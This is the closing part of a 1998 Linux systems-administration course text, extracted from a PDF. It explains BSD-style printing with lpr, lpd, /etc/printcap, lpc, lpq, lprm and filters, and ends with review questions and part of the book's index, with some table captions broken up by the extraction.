from which computer, and which file it was 2. dfid is the data file that contains the actual information to print lpr notifies lpd that there is a file ready to print lpd forks off a child lpd to handle the request lpd reads /etc/printcap to see whether or not the destination printer is a local or remote printer for a remote printer the contents of the cf and df files are copied across the network, for a local printer lpd spawns a copy of itself that passes the df file through a filter program (if there is one) to the printer's device file

The lpr command

As mentioned lpr is the only way in which a user can print a file. Example uses of lpr include lpr /etc/printcap Print the file /etc/printcap on the systems default printer. lpr -Prigel hello Print the file hello on the printer called rigel. cat /etc/passwd | lpr -Pgb Send the output of the cat command to the printer gb lpr takes a number of other options including -# which can be used to specify the number of copies to print.

Configuring the print software

Adding a new printer to a Linux box includes the following steps connect the printer, Discussed in a previous section. make sure a copy of lpd is running, create an entry in the /etc/printcap file for the printer, create the spool directory for the new printer, use the lpc command to enable printing for the new printer
lpd lpd is the print spooler daemon. In order for any printing to occur a copy of lpd must be running. Normally lpd is started by one of the system startup scripts, usually /etc/rc.d/rc.M.

On startup lpd reads the /etc/printcap file to find out about existing printers and will check the spool directories for any print jobs that haven't been printed.

David Jones, Bruce Jamieson (15/10/98)

Page 422

85321, Systems Administration

Chapter 19: Printers

lpd then waits for any new print requests. When it receives a new request it will fork of a child lpd to handle the request.

Exercises Is there a copy of lpd running on your system? Where is it started? What is its file permissions?
/etc/printcap printcap is the printer configuration file and uses the same format as termcap the BSD terminal configuration file. printcap is a colon delimited text file. Each printer has one entry. An example printcap entry follows lp|ap|arpa|ucbarpa|LA-180 DecWriter III:\ :br#1200:fs#06320:tr=\f:of=/usr/lib/lpf:\ :lf=/usr/adm/lpd-errs:

An entry in printcap must fit on one line. Notice in the above three line example the \ character is used to ignore the special meaning of the new line character at the end of the first two lines. This effectively means that the entry is only one line. Printer names The first field in each entry of the /etc/printcap file specifies the printer's name. A printer can actually have multiple names. Multiple names are separated using the | character. The above example printer has the following names lp ap arpa ucbarpa and LA-180 DecWriter III. The default printer A printer called lp is the standard default printer. Whenever a user prints a file without specifying the destination printer the print job will be sent to the printer called lp. You should always have one printer with the name lp. Configuration settings The remaining fields of the /etc/printcap file are used to specify a variety of different settings. These configuration settings use one of three possible formats XX=string XX XX#number Where XX is a two letter identifier for a particular configuration setting. Table 19.2 lists some of the settings.

David Jones, Bruce Jamieson (15/10/98)

Page 423

85321, Systems Administration

Chapter 19: Printers

Example settings Some example printcap settings include sd=/usr/spool/lp/scribe The sd setting specifies where the spool directory for the printer is. fo The fo setting forces the printer to do a form feed when the device is first opened. mx#3 The mx setting specifies the maximum size (in disk blocks) of files that can be printed. Setting Purpose sd=directory specify spool directory lf=file specify error log file lp=file specify device file af=file specify accounting file specify that printer can both read rw and write information (can send status info back to computer) br#number specify baud rate fc#number specify flag bits to turn off fs#number specify flag bits to turn on xc#number specify local mode bits to turn off xs#number specify local mode bits to turn on pl#number specify page length in lines pw#number specify page width in characters py#number specify page height in pixels px#number specify page width in pixels ff=string specify string that causes printer to form feed fo output form feed when device is opened mc#number specify maximum number of copies of a job allowed mx#number specify maximum file size in blocks allowed sc specify that multiple copies should be prevented sf specify that form feeds should be prevented sh suppress the printing of headers
Table So me

/etc/printcap

1 9 .2 c o nfig ur atio n

se tting s

Flag bits You won't be expected to memorise the flag and local bits. You should however be aware of their purpose. Flag bits are used to specify various communication settings for the printers. Table 19.3 shows the meanings and octal values of the more important bits. The flag bits that are to be turned on are specified using the fs identifier (see Table 19.2). Those flag bits to be turned off are specified using the fc identifier. The values for these fs and fc are obtained by adding the octal values from Table 19.3 together.
David Jones, Bruce Jamieson (15/10/98) Page 424

85321, Systems Administration

Chapter 19: Printers

For example Assume you need to set the following for the printer you are adding clear all delay bits and echo/full duplex set even and odd parity, enable automatic flow control. Calculating the fc setting would look like this
0040000 + 0010000 + 0020000 + 0002000 + 0000400 + 0001000 + 0000010 = 0073410

Which results in the printcap entry

fc#0073410

For the fs entry

0100 + 0200 + 0001 = 0301

For the printcap entry

fs#0301

Remember these numbers are in octal (base 8). If you don't know how to do addition in base 8 obtain a calculator which supports octal. Most good scientific calculators should. Octal value
0040000 0010000 0020000 0002000 0000400 0001000 0000200 0000100 0000040 0000020 0000010 0000002 0000001

Description form feed delay, 2 seconds carriage return delay, 0.08 second carriage return delay, 0.16 second tab delay newline delay newline delay, 0.1 second even parity odd parity pass all characters from filter to printer immediately translate linefeed into carriage return&linefeed echo, full duplex pass characters from printer to filter immediately automatic flow control
Table 1 9 .3 Flag se tting s

Local mode bits Local mode bits are used to configure the serial driver and use the same format as flag bits only with the xc and xs settings instead. Most of these settings are intended for terminals. Those relevant for printers are listed in Table 19.4

Octal value
000040 040000

Description prevent serial driver from playing with codes destined for printer minimize flow control interference from line noise
Page 425

David Jones, Bruce Jamieson (15/10/98)

85321, Systems Administration

Chapter 19: Printers

000001

tell the printer to backspace when it receives an erase character

Lo c al M o de Table 1 9 .4 bits fo r a se r ial pr inte r

The spool directory Each printer must have its own spool directory. They cannot share spool directories. A spool directory should be owned by the root user and the lp group and the permissions should be set to rwxrwxr-x. Printer spool directories are usually under the directory /var/spool with the name of the directory matching the main name of the printer. For example the spool directory for the printer rigel would be /var/spool/rigel. Contents Apart from the cf and df files for each print job the printer spool directory will also contain the files lock Its existence prevents multiple copies of lpd working for this printer. status Contains the current status of printing on this printer. These files are created by the components of the print system.
lpc lpc is used to control the operation of the print service. It can be used to

disable or enable a printer, disable or enable a printer's spooling queue, rearrange the order of jobs in a spooling queue, find the status of printers, and their associated spooling queues and printer daemons. The following is an excerpt from UNIX System Administration Handbook by Nemeth et al (consider the Sys Admin bible by many) on lpc
lpc won our award for "flakiest program of 1989". It was also awarded this honor in 1985, 1986, 1987 and 1988. lpc has not really gotten any better, but other truly flaky programs (like Sun's automounter) have come into widespread use, and lpc is no longer at the top of the heap.

Command line or interactive

lpc understands a number of commands to perform the operations listed above. These commands can be entered as command line arguments. If lpc is started without any arguments it enters an interactive mode in which you can enter lpc

commands. For example

David Jones, Bruce Jamieson (15/10/98) Page 426

85321, Systems Administration

Chapter 19: Printers

beldin:# lpc status lp: queuing is enabled printing is enabled no entries no daemon present beldin:1# lpc lpc status lp: queuing is enabled printing is enabled no entries no daemon present lpc commands

Table 19.5 lists some of the commands that can be given to lpc. There are a number of other commands for which you should refer to the manual page. Starting a printer In order to start printer for a new printer you need to enable spooling (the lpc enable command) for the printer and start a copy of the daemon (the lpc start command) for the printer.

Command
? [command] help [command] abort [all | printer ] enable [all | printer ] start [all | printer ] stop [ all | printer ] status [ printer ]

Purpose provide short description of command terminate the daemon and then disable printing for the specified printers. start spooling for the specified printers start printing for the listed printers stop a spooling daemon and disable printing display the current status of each printer
lpc
Table 1 9 .5 c o mmands

Adding a printer connect the printer, Get a parallel printer cable, choose a parallel port connect the computer and printer and identify the device file that corresponds to the parallel port. On my system it is /dev/lp1 make sure a copy of lpd is running, Try the command ps -ax | grep lpd. Oops, not there. Add the command /usr/sbin/lpd to the file /etc/rc.d/rc.M so it will start the next time the system boots. Rather than reboot the system for this to take effect I can run it from the command line now.

David Jones, Bruce Jamieson (15/10/98)

Page 427

85321, Systems Administration

Chapter 19: Printers

create an entry in the /etc/printcap file for the printer, Add the following entry,
lp:lp=/dev/lp1: \ sd=/var/spool/lp:sh

This is my only printer so it is my default printer. The device file is /dev/lp1, the spool directory will be /var/spool/lp and I don't want any headers printed (sh). create the spool directory for the new printer,
mkdir /var/spool/lp chown root.lp /var/spool/lp chmod 775 /var/spool/lp

use the lpc command to enable printing for the new printer
lpc enable lp lpc start lp

Printing without a printer Even if you don't have printer you can still experiment with the UNIX print service. What do you notice about the following printcap entry?
lp:lp=/tmp/printer:sd=/usr/spool/lp1:sh

The device file for this printer, specified by the lp setting, is the file /tmp/printer, which isn't a device file. lpd simply redirects its output to the device file specified in the /etc/printcap file. If this file is not a device file the output is simply appended onto the end of the file. Exercises Perform the steps necessary to add a printer to your system. If you don't have a printer use a normal file as the device file. Test the connection by printing something.
lpq lpq displays the list of jobs that are currently waiting to be printed. With no parameters lpq will display a list of all print jobs on the default printer. lpq

command line options are specified in Table 19.6

David Jones, Bruce Jamieson (15/10/98)

Page 428

85321, Systems Administration

Chapter 19: Printers

Options
-P printer -l +[interval] job# username

Purpose display the queue of the specified printer display using long format display the queue periodically until it empties, interval specifies how many seconds it should sleep display only those jobs with matching job numbers display only jobs belonging to the specified user
lpq
Table 1 9 .6 switc he s

lprm lprm [-Pprinter][-][ job#...][username...] lprm is used to remove jobs from the printer queue. The job to be removed can

be specified by its printer, job number and username. The printer name defaults to lp and the job number defaults to the current job. Username defaults to the user invoking it. Only the root user can remove someone else's print job. Exercise Disable the print daemon for your printer and send a few print jobs to the printer. Since the daemon has been turned off the jobs will be queued waiting for the print daemon to be re-enabled. Use the lpq command to view the print queue. Use the lprm command to remove the print jobs. Re-enable printing using lpc

Filters
Filters are generally used to transform data to be printed into a format that the printer can handle. For example, printing to a Deskjet 500 results in the following output
hello there a nice effect

The effect is caused because the printer expects a carriage return character to properly handle a new line. This problem can be handled by using a filter program that adds a carriage return character to the end of each line to be printed. Page description languages The UNIX print system was originally developed in the days of line printers. Today it is generally used for high-resolution printers that use some form of

David Jones, Bruce Jamieson (15/10/98)

Page 429

85321, Systems Administration

Chapter 19: Printers

page description language (PDL). A PDL defines how the layout will be represented onto the page. Common PDLs include PCL, Printer Command Language Developed by Hewlett-Packard as an alternative to postscript. Generally only found on HP printers and is common amongst the PC world. PostScript PostScript is a fully-fledged programming language. PostScript files are text files consisting of PostScript commands. It is one of the most common PDLs. Filters are used to convert data to be printed into the appropriate PDL. Filters to convert to most PDLs are available from the Internet. In most instances a printer will come with an appropriate filter. Filters are executable You should remember that the filter will be an executable program. If the filter does not have the execute permission set the whole print system will not work as expected. Exercise The following command translates every letter to uppercase tr '[a-z]' '[A-Z]' Use the command as a filter for your printer. What happens if your filter program doesn't have execute permissions set?

Conclusions
The process of adding a printer to a UNIX machine involves two processes, hardware and software. The hardware steps involved in adding a printer are very similar to those involved in adding a terminal. The UNIX print software is much more complex than that of a single-user operating system and is based on the concept of print spooling. The print services of BSD and SysV are completely different. With Linux using a system based on the BSD print service. The Linux/BSD print system consists of the following components the lpr command, Used by users to print. the lpd daemon, The main print daemon. the /etc/printcap file, Contains configuration information for each printer. the lpc command, The main administration program used by the Systems Administrator.

David Jones, Bruce Jamieson (15/10/98)

Page 430

85321, Systems Administration

Chapter 19: Printers

the lpq command, Used to view the queue of print jobs. the lprm command, Used to remove print jobs from the queue.

Review Questions
19.1 Explain the relevance and purpose of the following in relation to the BSD print system lpd /etc/printcap lpc

David Jones, Bruce Jamieson (15/10/98)

Page 431

85321, Systems Administration

Index

Index
'
', 106 /usr/local/bin, 65 /usr/local/sbin, 65 /usr/man, 49 /usr/sbin, 65 /usr/src, 62 /usr/src/linux, 283 /var, 60 /var/log, 66 /var/log/messages, 310 /var/log/wtmp, 314 /var/spool, 62 /var/spool/mail, 62

"
", 106 ", 106

#
#!, 142

$
$#, 145 $$, 144 $*, 145 $?, 145 $@, 145 $0, 145

[
[, 153

`
`, 109

{
{}, 118

&
&, 103 &&, 152

|
|, 109 ||, 152

/
/bin, 64 /boot, 282 /dev, 66, 113, 219 /dev/null, 114 /etc, 65 /etc/fstab, 235 /etc/group, 69, 197, 200 /etc/inetd.conf, 356 /etc/inittab, 265, 266 /etc/issue, 404 /etc/motd, 278, 404 /etc/passwd, 69, 197 Problems with, 379 /etc/printcap, 418, 420 /etc/profile, 194 /etc/rc.d/init.d, 272 /etc/services, 353 /etc/shadow, 197 /etc/skel, 195 /etc/smb.conf, 364 /etc/sudoers, 214 /etc/syslog.conf, 311 /proc, 66, 287 /root, 60 /sbin, 64 /usr, 60 /usr/bin, 65 /usr/include, 62 /usr/lib, 62 /usr/lib/magic, 74 /usr/local, 61

~
~/.bash_history, 194 ~/.bash_logout, 194 ~/.cshrc, 194 ~/.exrc, 194 ~/.forward, 194 ~/.login, 194 ~/.logout, 194 ~/.profile, 194

<
<, 109 <<, 109

>
>, 109 >&, 109 >>, 109

2
2>, 109

A
ac, 314 accton, 315 ACS, 37

David Jones, Bruce Jamieson (15/10/98)

Page 432

85321, Systems Administration

Index

AUSCERT, 394 AUUG, 37

B
banner, 51 bash, 99 Bastard Operator from Hell, 35 Blocks, 226 boot disk, 274 boot loader, 263 bootstrap, 261 break, 160

file, 73 File attributes, 74 File descriptors, 108 File permissions, 77 file systems, 226 File types, 73 Filename substitution, 103 Filters, 109 find, 88 ;, 92 {}, 92 actions, 91 tests, 90 Firewalls, 393 FIRST, 394 for, 158 forking, 71 free, 306 fsck, 240 Functions, 161

C
cal, 51 case, 155 cat, 52 chgrp, 84 chmod, 82 chown, 84 Code of Ethics, 29 compress, 257 continue, 160 COPS, 384 Crack, 385 Creating device files, 222 cron, 301 crond, 302 crontab, 301 csh, 99 cut, 54

G
getty, 270, 405 grep, 55 gzip, 258

H
halt, 278 head, 52 HOME, 119 Home directories, 193 hostname, 270

D
date, 51 DCE, 399 dd, 255 Device files, 113 Devices, 218 df, 304 diff, 291 Disk quotas, 391 DISPLAY, 119 DTE, 399 du, 305 Dumb terminals, 400 dump, 249

I
id, 69 if, 151 inetd, 355 init, 265 init.d, 271 I-Nodes, 230

K
Kernel, 281 kill, 165, 308 ksh, 99

E
ed, 131 Environment control, 114 eval, 123, 171 exec, 71 export, 120 expr, 117 ext2, 230

L
last, 314 lastcomm, 315 less, 52 LILO, 261 Links, 87 Linux Documentation Project, 42 ln, 238 local, 162 Local variables, 120 logger, 311 Login name, 191 login process, 403

F
fastboot, 278 fasthalt, 278

David Jones, Bruce Jamieson (15/10/98)

Page 433

85321, Systems Administration

Index

Login shell, 194 lpc, 418, 423 lpd, 418, 419 lpq, 418, 425 lpr, 418, 419 lprm, 418, 426

RTFM, 38 Run levels, 265

S
S/KEY, 389 sa, 316 SAGE, 37 SAGE-AU, 37 Samba, 364 Satan, 385 Search paths, 380 sed, 135 set, 115, 168 setgid, 79, 382 setuid, 79, 382 sh, 99 SHELL, 119 Shell dot files, 194 Shell variables, 114 shutdown, 278, 279 Signals, 308 Skeleton directories, 195 sleep, 103 smbclient, 365 sort, 52 Ssh, 389 stderr, 108 stdin, 108 stdout, 108 Sticky bit, 78 stty, 406 su, 205 sudo, 213 Symbolic permissions, 78 syslog, 310 syslogd, 311

M
Mail aliases, 196 Major device number, 221 MAKEDEV, 219 man pages, 48 minicom, 411 minor device number, 221 mkfs, 233 mknod, 223 Modems, 410 Modules, 286 more, 52 Mount, 234 mt, 256

N
netstat, 354 nice, 307 NR_TASKS, 294 numeric permissions, 78 Numeric permissions, 80

P
Partitions, 226 Password aging, 388 Password cracking, 388 Passwords, 192 paste, 54 patch, 291 Patches, 291 PATH, 119 PCL, 427 PostScript, 427 Process attributes, 71 ps, 306 PS1, 119 PS2, 119

T
Tagging, 130 tail, 52 tar, 253 tcpd, 360 TCPWrappers, 360 telinit, 266, 269 TERM, 119 termcap, 409 terminfo, 409 test, 153 top, 306, 307 tr, 53 trap, 164 Tripwire, 391

R
rc, 271 rc.local, 271 rc.serial, 271 rc.sysinit, 271 read, 148 readonly, 116 reboot, 278 Regular expressions, 126 renice, 308 restore, 249 return, 163 ROM, 261 Root disk, 274 RS-232, 398

U
UID, 119, 193 umask, 85 uname, 50, 306 uniq, 53 UNIX account, 190 UNIX command format, 46 UNIX commands, 46

David Jones, Bruce Jamieson (15/10/98)

Page 434

85321, Systems Administration

Index

unset, 116 until, 159 uptime, 306 Usenix, 37 USER, 119 useradd, 208 userdel, 209 usermod, 209

W
wait, 164 wc, 55 which, 70 while, 157 who, 50 whoami, 50

V
vi, 45 vmlinuz, 282

X
xargs, 94

David Jones, Bruce Jamieson (15/10/98)

Page 435

Chapter X

Chapter Title

David Jones and Bruce Jamieson (15/10/98)

Page 436